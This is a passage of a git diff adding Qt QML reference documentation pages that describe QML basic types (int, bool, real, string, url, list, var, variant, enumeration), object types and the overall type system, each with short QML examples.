+By connecting signals to other signals, the \c connect() method can form different
+signal chains.
+
+\qml
+Rectangle {
+ id: forwarder
+ width: 100; height: 100
+
+ signal send()
+ onSend: console.log("Send clicked")
+
+ MouseArea {
+ id: mousearea
+ anchors.fill: parent
+ onClicked: console.log("MouseArea clicked")
+ }
+
+ Component.onCompleted: {
+ mousearea.clicked.connect(send)
+ }
+}
+\endqml
+
+
+Whenever the \l MouseArea \c clicked signal is emitted, the \c send
+signal will automatically be emitted as well.
+
+\code
+output:
+ MouseArea clicked
+ Send clicked
+\endcode
+
+
+*/
diff --git a/src/qml/doc/src/qmllanguageref/typesystem/basictypes.qdoc b/src/qml/doc/src/qmllanguageref/typesystem/basictypes.qdoc
new file mode 100644
index 0000000000..7d2d662e4e
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/typesystem/basictypes.qdoc
@@ -0,0 +1,675 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia. For licensing terms and
+** conditions see http://qt.digia.com/licensing. For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file. Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qtqml-typesystem-basictypes.html
+\title QML Basic Types
+\brief Description of basic types provided by the Qt QML module
+
+QML supports a number of basic types.
+
+A \e{basic type} is one that refers to a simple value, such as an \c int
+or a \c string. This contrasts with a \l{qtqml-typesystem-topic.html#qml-object-types}{QML Object Types},
+which refers to an object with properties, signals, methods and so on. Unlike an object type,
+a basic type cannot be used to declare QML objects: it is not possible, for example, to declare an
+\c int{} object or a \c size{} object.
+
+Basic types can be used to refer to:
+
+\list
+\li A single value (e.g. \l int refers to a single number, \l var can refer to a single list of items)
+\li A value that contains a simple set of property-value pairs (e.g. \l size refers to a value with \c width and \c height attributes)
+\endlist
+
+\sa {qtqml-typesystem-topic.html}{The QML Type System}
+
+
+\section1 Supported Basic Types
+
+Some basic types are supported by the engine by default and do not require an
+\l {Import Statements}{import statement} to be used, while others do require
+the client to import the module which provides them.
+All of the basic types listed below may be used as a \c property type in a QML
+document, with the following exceptions:
+\list
+ \li \c list must be used in conjunction with a QML object type
+ \li \c enumeration cannot be used directly as the enumeration must be defined by a registered QML object type
+\endlist
+
+\section2 Basic Types Provided By The QML Language
+
+The basic types supported natively in the QML language are listed below:
+\annotatedlist qmlbasictypes
+
+\section2 Basic Types Provided By QML Modules
+
+QML modules may extend the QML language with more basic types.
+For example, the basic types provided by the \c QtQuick module are listed below:
+\annotatedlist qtquickbasictypes
+
+Currently only QML modules which are provided by Qt may provide their
+own basic types, however this may change in future releases of Qt QML.
+In order to use types provided by a particular QML module, clients
+must import that module in their QML documents.
+
+\section1 Property Change Behavior for Basic Types
+
+Some basic types have properties: for example, the \l font type has
+\c pixelSize, \c family and \c b properties. Unlike properties of
+\l{qtqml-typesystem-topic.html#qml-object-types}{object types}, properties of
+basic types do not provide their own property change signals. It is only possible
+to create a property change signal handler for the basic type property itself:
+
+\code
+Text {
+ // invalid!
+ onFont.pixelSizeChanged: doSomething()
+
+ // also invalid!
+ font {
+ onPixelSizeChanged: doSomething()
+ }
+
+ // but this is ok
+ onFontChanged: doSomething()
+}
+\endcode
+
+Be aware, however, that a property change signal for a basic type is emitted
+whenever \e any of its attributes have changed, as well as when the property itself
+changes. Take the following code, for example:
+
+\qml
+Text {
+ onFontChanged: console.log("font changed")
+
+ Text { id: otherText }
+
+ focus: true
+
+ // changing any of the font attributes, or reassigning the property
+ // to a different font value, will invoke the onFontChanged handler
+ Keys.onDigit1Pressed: font.pixelSize += 1
+ Keys.onDigit2Pressed: font.b = !font.b
+ Keys.onDigit3Pressed: font = otherText.font
+}
+\endqml
+
+In contrast, properties of an \l{qtqml-typesystem-topic.html#qml-object-types}{object type}
+emit their own property change signals, and a property change signal handler for an object-type
+property is only invoked when the property is reassigned to a different object value.
+
+*/
+
+/*!
+ \qmlbasictype int
+ \ingroup qmlbasictypes
+ \brief a whole number, e.g. 0, 10, or -20.
+
+ The \c int type refers to a whole number, e.g. 0, 10, or -20.
+
+ The possible \c int values range from around -2000000000 to around 2000000000,
+ although most types will only accept a reduced range (which they
+ mention in their documentation).
+
+ Example:
+ \qml
+ Item { width: 100; height: 200 }
+ \endqml
+
+ This basic type is provided by the QML language.
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype bool
+ \ingroup qmlbasictypes
+ \brief a binary true/false value.
+
+ The \c bool type refers to a binary true/false value.
+
+ Example:
+ \qml
+ Item {
+ focus: true
+ clip: false
+ }
+ \endqml
+
+ This basic type is provided by the QML language.
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype real
+ \ingroup qmlbasictypes
+
+ \brief a number with a decimal point.
+
+ The \c real type refers to a number with decimal point, e.g. 1.2 or -29.8.
+
+ Example:
+ \qml
+ Item { width: 100.45; height: 150.82 }
+ \endqml
+
+ \b{Note:} In QML all reals are stored in double precision, \l
+ {http://en.wikipedia.org/wiki/IEEE_754} {IEEE floating point}
+ format.
+
+ This basic type is provided by the QML language.
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype double
+ \ingroup qmlbasictypes
+
+ \brief a number with a decimal point, stored in double precision.
+
+ The \c double type refers to a number with a decimal point and is stored in double precision, \l
+ {http://en.wikipedia.org/wiki/IEEE_754} {IEEE floating point} format.
+
+ Example:
+ \qml
+ Item {
+ property double number: 32155.2355
+ }
+ \endqml
+
+ This basic type is provided by the QML language.
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype string
+ \ingroup qmlbasictypes
+ \brief a free form text string.
+
+ The \c string type refers to a free form text string in quotes, e.g. "Hello world!".
+
+ Example:
+ \qml
+ Text { text: "Hello world!" }
+ \endqml
+
+ Strings have a \c length attribute that holds the number of
+ characters in the string.
+
+ QML extends the JavaScript String type with a \l {String::arg}{arg()} function
+ to support value substitution.
+
+ When integrating with C++, note that any QString value
+ \l{qtqml-cppintegration-data.html}{passed into QML from C++} is automatically
+ converted into a \c string value, and vice-versa.
+
+ This basic type is provided by the QML language.
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype url
+ \ingroup qmlbasictypes
+ \brief a resource locator.
+
+ The \c url type refers to a resource locator (like a file name, for example). It can be either
+ absolute, e.g. "http://qt-project.org", or relative, e.g. "pics/logo.png". A relative URL is
+ resolved relative to the URL of the containing component.
+
+ For example, the following assigns a valid URL to the \l {Image::source}
+ property, which is of type \c url:
+
+ \qml
+ Image { source: "pics/logo.png" }
+ \endqml
+
+ When integrating with C++, note that any QUrl value
+ \l{qtqml-cppintegration-data.html}{passed into QML from C++} is automatically
+ converted into a \c url value, and vice-versa.
+
+
+ \section1 Using the url Type
+
+ When a relative URL is written to a \c url type property, it is converted
+ into a URL object, so \b {matching the URL value against the input string
+ value will fail}. Instead, convert the string to a URL using Qt.resolvedUrl()
+ for means of comparison, and use \c toString() to get the contents of the URL:
+
+ \qml
+ Image {
+ source: "pics/logo.png"
+
+ Component.onCompleted: {
+ // This prints 'false'. Although "pics/logo.png" was the input string,
+ // it's been converted from a string to a URL, so these two are not the same.
+ console.log(source == "pics/logo.png")
+
+ // This prints 'true' as Qt.resovledUrl() converts the string into a
+ // URL with the correctly resolved path
+ console.log(source == Qt.resolvedUrl("pics/logo.png"))
+
+ // This prints the absolute path, e.g. "file:///path/to/pics/logo.png"
+ console.log(source.toString())
+ }
+ }
+ \endqml
+
+ \note When referring to files stored with the \l{resources.html}{Qt Resource System}
+ from within QML, you should use "qrc:///" instead of ":/" as QML requires URL paths.
+ Relative URLs resolved from within that file will use the same protocol.
+
+ Additionally, URLs may contain encoded characters using the 'percent-encoding' scheme
+ specified by \l {http://tools.ietf.org/html/rfc3986}{RFC 3986}. These characters
+ will be preserved within properties of type \c url, to allow QML code to
+ construct precise URL values. An exception to this rule is the preemptive
+ decoding of directory-separator characters (\c '/') - these characters are decoded
+ to allow the URL to be correctly classified.
+
+ For example, a local file containing a '#' character, which would normally be
+ interpreted as the beginning of the URL 'fragment' element, can be accessed by
+ encoding the characters of the file name:
+
+ \qml
+ Image { source: encodeURIComponent("/tmp/test#1.png") }
+ \endqml
+
+ This basic type is provided by the QML language.
+
+ \sa {QML Basic Types}
+*/
+
+
+/*!
+ \qmlbasictype list
+ \ingroup qmlbasictypes
+ \brief a list of QML objects.
+
+ The \c list type refers to a list of QML objects.
+
+ A list value can be accessed in a similar way to a JavaScript array:
+
+ \list
+ \li Values are assigned using the \c[] square bracket syntax with comma-separated values
+ \li The \c length property provides the number of items in the list
+ \li Values in the list are accessed using the \c [index] syntax
+ \endlist
+
+ A \c list can only store QML objects, and cannot contain any
+ \l {QML Basic Types}{basic type} values. (To store basic types within a
+ list, use the \l var type instead.)
+
+ When integrating with C++, note that any QQmlListProperty value
+ \l{qtqml-cppintegration-data.html}{passed into QML from C++} is automatically
+ converted into a \c list value, and vice-versa.
+
+
+ \section1 Using the list Type
+
+ For example, the \l Item type has a \l {Item::}{states} list-type property that
+ can be assigned to and used as follows:
+
+ \qml
+ import QtQuick 2.0
+
+ Item {
+ width: 100; height: 100
+
+ states: [
+ State { name: "activated" },
+ State { name: "deactivated" }
+ ]
+
+ Component.onCompleted: {
+ console.log("Name of first state:", states[0].name)
+ for (var i = 0; i < states.length; i++)
+ console.log("state", i, states[i].name)
+ }
+ }
+ \endqml
+
+ The defined \l State objects will be added to the \c states list
+ in the order in which they are defined.
+
+ If the list only contains one object, the square brackets may be omitted:
+
+ \qml
+ import QtQuick 2.0
+
+ Item {
+ width: 100; height: 100
+ states: State { name: "activated" }
+ }
+ \endqml
+
+ Note that objects cannot be individually added to or removed from
+ the list once created; to modify the contents of a list, it must be
+ reassigned to a new list.
+
+ \note The \c list type is not recommended as a type for custom properties.
+ The \c var type should be used instead for this purpose as
+ lists stored by the \c var type can be manipulated with greater
+ flexibility from within QML.
+
+ This basic type is provided by the QML language.
+
+ \sa {QML Basic Types}
+*/
+
+ /*!
+ \qmlbasictype var
+ \ingroup qmlbasictypes
+ \brief a generic property type.
+
+ The \c var type is a generic property type that can refer to any data type.
+
+ It is equivalent to a regular JavaScript variable.
+ For example, var properties can store numbers, strings, objects,
+ arrays and functions:
+
+ \qml
+ Item {
+ property var aNumber: 100
+ property var aBool: false
+ property var aString: "Hello world!"
+ property var anotherString: String("#FF008800")
+ property var aColor: Qt.rgba(0.2, 0.3, 0.4, 0.5)
+ property var aRect: Qt.rect(10, 10, 10, 10)
+ property var aPoint: Qt.point(10, 10)
+ property var aSize: Qt.size(10, 10)
+ property var aVector3d: Qt.vector3d(100, 100, 100)
+ property var anArray: [1, 2, 3, "four", "five", (function() { return "six"; })]
+ property var anObject: { "foo": 10, "bar": 20 }
+ property var aFunction: (function() { return "one"; })
+ }
+ \endqml
+
+ \section1 Change Notification Semantics
+
+ It is important to note that changes in regular properties of JavaScript
+ objects assigned to a var property will \b{not} trigger updates of bindings
+ that access them. The example below will display "The car has 4 wheels" as
+ the change to the wheels property will not cause the reevaluation of the
+ binding assigned to the "text" property:
+
+ \qml
+ Item {
+ property var car: new Object({wheels: 4})
+
+ Text {
+ text: "The car has " + car.wheels + " wheels";
+ }
+
+ Component.onCompleted: {
+ car.wheels = 6;
+ }
+ }
+ \endqml
+
+ If the onCompleted handler instead had \tt{"car = new Object({wheels: 6})"}
+ then the text would be updated to say "The car has 6 wheels", since the
+ car property itself would be changed, which causes a change notification
+ to be emitted.
+
+ \section1 Property Value Initialization Semantics
+
+ The QML syntax defines that curly braces on the right-hand-side of a
+ property value initialization assignment denote a binding assignment.
+ This can be confusing when initializing a \c var property, as empty curly
+ braces in JavaScript can denote either an expression block or an empty
+ object declaration. If you wish to initialize a \c var property to an
+ empty object value, you should wrap the curly braces in parentheses.
+
+ For example:
+ \qml
+ Item {
+ property var first: {} // nothing = undefined
+ property var second: {{}} // empty expression block = undefined
+ property var third: ({}) // empty object
+ }
+ \endqml
+
+ In the previous example, the \c first property is bound to an empty
+ expression, whose result is undefined. The \c second property is bound to
+ an expression which contains a single, empty expression block ("{}"), which
+ similarly has an undefined result. The \c third property is bound to an
+ expression which is evaluated as an empty object declaration, and thus the
+ property will be initialized with that empty object value.
+
+ Similarly, a colon in JavaScript can be either an object property value
+ assignment, or a code label. Thus, initializing a var property with an
+ object declaration can also require parentheses:
+
+ \qml
+ Item {
+ property var first: { example: 'true' } // example is interpreted as a label
+ property var second: ({ example: 'true' }) // example is interpreted as a property
+ property var third: { 'example': 'true' } // example is interpreted as a property
+ Component.onCompleted: {
+ console.log(first.example) // prints 'undefined', as "first" was assigned a string
+ console.log(second.example) // prints 'true'
+ console.log(third.example) // prints 'true'
+ }
+ }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
+/*
+ TODO Qt 5.1: see explanation in expressions.qdoc
+ \section1 Using Scarce Resources with the var Type
+
+ A \c var type property can also hold an image or pixmap.
+ A \c var which contains a QPixmap or QImage is known as a
+ "scarce resource" and the declarative engine will attempt to
+ automatically release such resources after evaluation of any JavaScript
+ expression which requires one to be copied has completed.
+
+ Clients may explicitly release such a scarce resource by calling the
+ "destroy" method on the \c var property from within JavaScript. They
+ may also explicitly preserve the scarce resource by calling the
+ "preserve" method on the \c var property from within JavaScript.
+ For more information regarding the usage of a scarce resource, please
+ see \l{Scarce Resources in JavaScript}.
+
+ This basic type is provided by the QML language.
+*/
+
+/*!
+ \obsolete
+ \qmlbasictype variant
+ \ingroup qmlbasictypes
+ \brief a generic property type.
+
+ The \c variant type is a generic property type. It is obsolete and exists only to
+ support old applications; new applications should use \l var type
+ properties instead.
+
+ A variant type property can hold any of the \l {QML Basic Types}{basic type}
+ values:
+
+ \qml
+ Item {
+ property variant aNumber: 100
+ property variant aString: "Hello world!"
+ property variant aBool: false
+ }
+ \endqml
+
+ When integrating with C++, note that any QVariant value
+ \l{qtqml-cppintegration-data.html}{passed into QML from C++} is automatically
+ converted into a \c variant value, and vice-versa.
+
+
+ \section1 Using Scarce Resources with the variant Type
+
+ A \c variant type property can also hold an image or pixmap.
+ A \c variant which contains a QPixmap or QImage is known as a
+ "scarce resource" and the declarative engine will attempt to
+ automatically release such resources after evaluation of any JavaScript
+ expression which requires one to be copied has completed.
+
+ Clients may explicitly release such a scarce resource by calling the
+ "destroy" method on the \c variant property from within JavaScript. They
+ may also explicitly preserve the scarce resource by calling the
+ "preserve" method on the \c variant property from within JavaScript.
+ For more information regarding the usage of a scarce resource, please
+ see \l{Scarce Resources in JavaScript}.
+
+ \section1 Storing Arrays and Objects
+
+ The \c variant type can also hold:
+
+ \list
+ \li An array of \l {QML Basic Types}{basic type} values
+ \li A map of key-value pairs with \l {QML Basic Types}{basic-type} values
+ \endlist
+
+ For example, below is an \c items array and an \c attributes map. Their
+ contents can be examined using JavaScript \c for loops. Individual array
+ values are accessible by index, and individual map values are accessible
+ by key:
+
+ \qml
+ Item {
+ property variant items: [1, 2, 3, "four", "five"]
+ property variant attributes: { 'color': 'red', 'width': 100 }
+
+ Component.onCompleted: {
+ for (var i = 0; i < items.length; i++)
+ console.log(items[i])
+
+ for (var prop in attributes)
+ console.log(prop, "=", attributes[prop])
+ }
+ }
+ \endqml
+
+ While this is a convenient way to store array and map-type values, you
+ must be aware that the \c items and \c attributes properties above are \e not
+ QML objects (and certainly not JavaScript object either) and the key-value
+ pairs in \c attributes are \e not QML properties. Rather, the \c items
+ property holds an array of values, and \c attributes holds a set of key-value
+ pairs. Since they are stored as a set of values, instead of as an object,
+ their contents \e cannot be modified individually:
+
+ \qml
+ Item {
+ property variant items: [1, 2, 3, "four", "five"]
+ property variant attributes: { 'color': 'red', 'width': 100 }
+
+ Component.onCompleted: {
+ items[0] = 10
+ console.log(items[0]) // This will still be '1'!
+ attributes.color = 'blue'
+ console.log(attributes.color) // This will still be 'red'!
+ }
+ }
+ \endqml
+
+ Since it is not possible to individually add or remove items from a list or
+ object stored in a \c variant, the only way to modify its contents is to
+ reassign a new value. However, this is not efficent, as it causes the value
+ to be serialized and deserialized.
+
+ Additionally, since \c items and \c attributes are not QML objects, changing
+ their individual values do not trigger property change notifications. If
+ the above example had \c onNumberChanged or \c onAnimalChanged signal
+ handlers, they would not have been called. If, however, the \c items or
+ \c attributes properties themselves were reassigned to different values, then
+ such handlers would be called.
+
+ JavaScript programmers should also note that when a JavaScript object is
+ copied to an array or map property, the \e contents of the object (that is,
+ its key-value properties) are copied, rather than the object itself. The
+ property does not hold a reference to the original JavaScript object, and
+ extra data such as the object's JavaScript prototype chain is also lost in
+ the process.
+
+ This basic type is provided by the QML language.
+
+ \sa {QML Basic Types}
+*/
+
+/*!
+ \qmlbasictype enumeration
+ \ingroup qmlbasictypes
+ \brief a named enumeration value.
+
+ The \c enumeration type refers to a named enumeration value.
+
+ Each named value can be referred to as \c {<Type>.<value>}. For
+ example, the \l Text type has an \c AlignRight enumeration value:
+
+ \qml
+ Text { horizontalAlignment: Text.AlignRight }
+ \endqml
+
+ (For backwards compatibility, the enumeration value may also be
+ specified as a string, e.g. "AlignRight". This form is not
+ recommended for new code.)
+
+ When integrating with C++, note that any \c enum value
+ \l{qtqml-cppintegration-data.html}{passed into QML from C++} is automatically
+ converted into an \c enumeration value, and vice-versa.
+
+ This basic type is provided by the QML language. Some enumeration values
+ are provided by the QtQuick import.
+
+ \section1 Using the enumeration type in QML
+
+ The \c enumeration type is a representation of a C++ \c enum type. It is
+ not possible to refer to the \c enumeration type in QML itself; instead, the
+ \l int or \l var types can be used when referring to \c enumeration values
+ from QML code.
+
+ For example:
+
+ \qml
+ import QtQuick 2.0
+
+ Item {
+ // refer to Text.AlignRight using an int type
+ property int enumValue: textItem.horizontalAlignment
+
+ signal valueEmitted(int someValue)
+
+ Text {
+ id: textItem
+ horizontalAlignment: Text.AlignRight
+ }
+
+ // emit valueEmitted() signal, which expects an int, with Text.AlignRight
+ Component.onCompleted: valueEmitted(Text.AlignRight)
+ }
+ \endqml
+
+ \sa {QML Basic Types}
+*/
diff --git a/src/qml/doc/src/qmllanguageref/typesystem/objecttypes.qdoc b/src/qml/doc/src/qmllanguageref/typesystem/objecttypes.qdoc
new file mode 100644
index 0000000000..9209ebe68e
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/typesystem/objecttypes.qdoc
@@ -0,0 +1,132 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia. For licensing terms and
+** conditions see http://qt.digia.com/licensing. For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file. Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qtqml-typesystem-objecttypes.html
+\title QML Object Types
+\brief describes QML object types and how to create them
+
+
+A QML object type is a type from which a QML object can be instantiated.
+
+In syntactic terms, a QML object type is one which can be used to declare an
+object by specifying the \e{type name} followed by a set of curly braces that
+encompasses the attributes of that object. This differs from \e {basic types},
+which cannot be used in the same way. For example, \l Rectangle is a QML object
+type: it can be used to create \c Rectangle type objects. This cannot be done
+with primitive types such as \c int and \c bool, which are used to hold simple
+data types rather than objects.
+
+Custom QML object types can be defined by creating a .qml file that defines the
+type, as discussed in \l {qtqml-documents-definetypes.html}
+{Documents as QML object type definitions}, or by defining a QML type from C++
+and registering the type with the QML engine, as discussed in
+\l{qtqml-cppintegration-definetypes.html}{Defining QML Types from C++}.
+
+
+\section1 Defining Object Types from QML
+
+
+\section2 Defining Object Types through QML Documents
+
+Plugin writers and application developers may provide types defined as QML
+documents. A QML document, when visible to the QML import system, defines a
+type identified by the name of the file minus the file extensions.
+
+Thus, if a QML document named "MyButton.qml" exists, it provides the definition
+of the "MyButton" type, which may be used in a QML application.
+
+See the documentation about \l{QML Documents} for
+information on how to define a QML document, and the syntax of the QML
+language. Once you are familiar with the QML language and how to define QML
+documents, see the documentation which explains how to
+\l{qtqml-documents-definetypes.html}
+{define and use your own reusable QML types in QML documents}.
+
+See \l {Defining Object Types through QML Documents} for more information.
+
+
+
+\section2 Defining Anonymous Types with Component
+
+Another method of creating object types from within QML is to use the \l Component type.
+This allows a type to be defined inline within a QML document, instead of using a separate
+document in a \c .qml file.
+
+\qml
+Item {
+ id: root
+ width: 500; height: 500
+
+ Component {
+ id: myComponent
+ Rectangle { width: 100; height: 100; color: "red" }
+ }
+
+ Component.onCompleted: {
+ myComponent.createObject(root)
+ myComponent.createObject(root, {"x": 200})
+ }
+}
+\endqml
+
+Here the \c myComponent object essentially defines an anonymous type that can be instantiated
+using \l {Component::createObject} to create objects of this anonymous type.
+
+
+Inline components share all
+the characteristics of regular top-level components and use the same \c import
+list as their containing QML document.
+
+
+
+Note that each \l Component object declaration creates its own \e {component scope}. Any
+\e id values used and referred to from within a \l Component object declaration must be
+unique within that scope, but do not need to be unique within the document within which the
+inline component is declared. So, the \l Rectangle declared in the \c myComponent object
+declaration could have an \e id of \c root without conflicting with the \c root declared
+for the \l Item object in the same document, as these two \e id values are declared within
+different component scopes.
+
+See \l{qtqml-documents-scope.html}{Scope and Naming Resolution} for more details.
+
+
+\section1 Defining Object Types from C++
+
+C++ plugin writers and application developers may register types defined in C++
+through API provided by the Qt QML module. There are various registration
+functions which each allow different use-cases to be fulfilled.
+For more information about those registration functions, and the specifics of
+exposing custom C++ types to QML, see the documentation regarding
+\l{qtqml-cppintegration-definetypes.html}{Defining QML Types from C++}.
+
+The QML type-system relies on imports, plugins and extensions being installed
+into a known import path. Plugins may be provided by third-party developers
+and reused by client application developers. Please see the documentation
+about \l{qtqml-modules-topic.html}{QML modules} for more information about
+how to create and deploy a QML extension module.
+
+*/
diff --git a/src/qml/doc/src/qmllanguageref/typesystem/topic.qdoc b/src/qml/doc/src/qmllanguageref/typesystem/topic.qdoc
new file mode 100644
index 0000000000..76e28f7ef1
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/typesystem/topic.qdoc
@@ -0,0 +1,98 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia. For licensing terms and
+** conditions see http://qt.digia.com/licensing. For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file. Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qtqml-typesystem-topic.html
+\title The QML Type System
+\brief Description of the QML type system
+
+The types which may be used in the definition of an object hierarchy in a QML
+document can come from various sources. They may be:
+
+\list
+\li provided natively by the QML language
+\li registered via C++ by QML modules
+\li provided as QML documents by QML modules
+\endlist
+
+Furthermore, application developers can provide their own types, either by
+registering C++ types directly, or by defining reusable components in QML
+documents which can then be imported.
+
+Wherever the type definitions come from, the engine will enforce type-safety
+for properties and instances of those types.
+
+
+\section1 Basic Types
+
+The QML language has built-in support for various primitive types including
+integers, double-precision floating point numbers, strings, and boolean values.
+Objects may have properties of these types, and values of these types may be
+passed as arguments to methods of objects.
+
+See the \l{qtqml-typesystem-basictypes.html}{QML Basic Types} documentation for
+more information about basic types.
+
+\section1 JavaScript Types
+
+JavaScript objects and arrays are supported by the QML engine. Any standard
+JavaScript type can be created and stored using the generic \l var type.
+
+For example, the standard \c Date and \c Array types are available, as below:
+
+\qml
+import QtQuick 2.0
+
+Item {
+ property var theArray: new Array()
+ property var theDate: new Date()
+
+ Component.onCompleted: {
+ for (var i = 0; i < 10; i++)
+ theArray.push("Item " + i)
+ console.log("There are", theArray.length, "items in the array")
+ console.log("The time is", theDate.toUTCString())
+ }
+}
+\endqml
+
+See \l {qtqml-javascript-expressions.html}{JavaScript Expressions in QML Documents} for more details.
+
+
+\section1 QML Object Types
+
+A QML object type is a type from which a QML object can be instantiated. QML
+object types are derived from \l QtObject, and are provided by QML modules.
+Applications can import these modules to use the object types they provide.
+The \c QtQuick module provides the most common object types needed to create
+user interfaces in QML.
+
+Finally, every QML document implicitly defines a QML object type, which can be
+re-used in other QML documents. See the documentation about
+\l{qtqml-typesystem-objecttypes.html}{object types in the QML type system} for
+in-depth information about object types.
+
+*/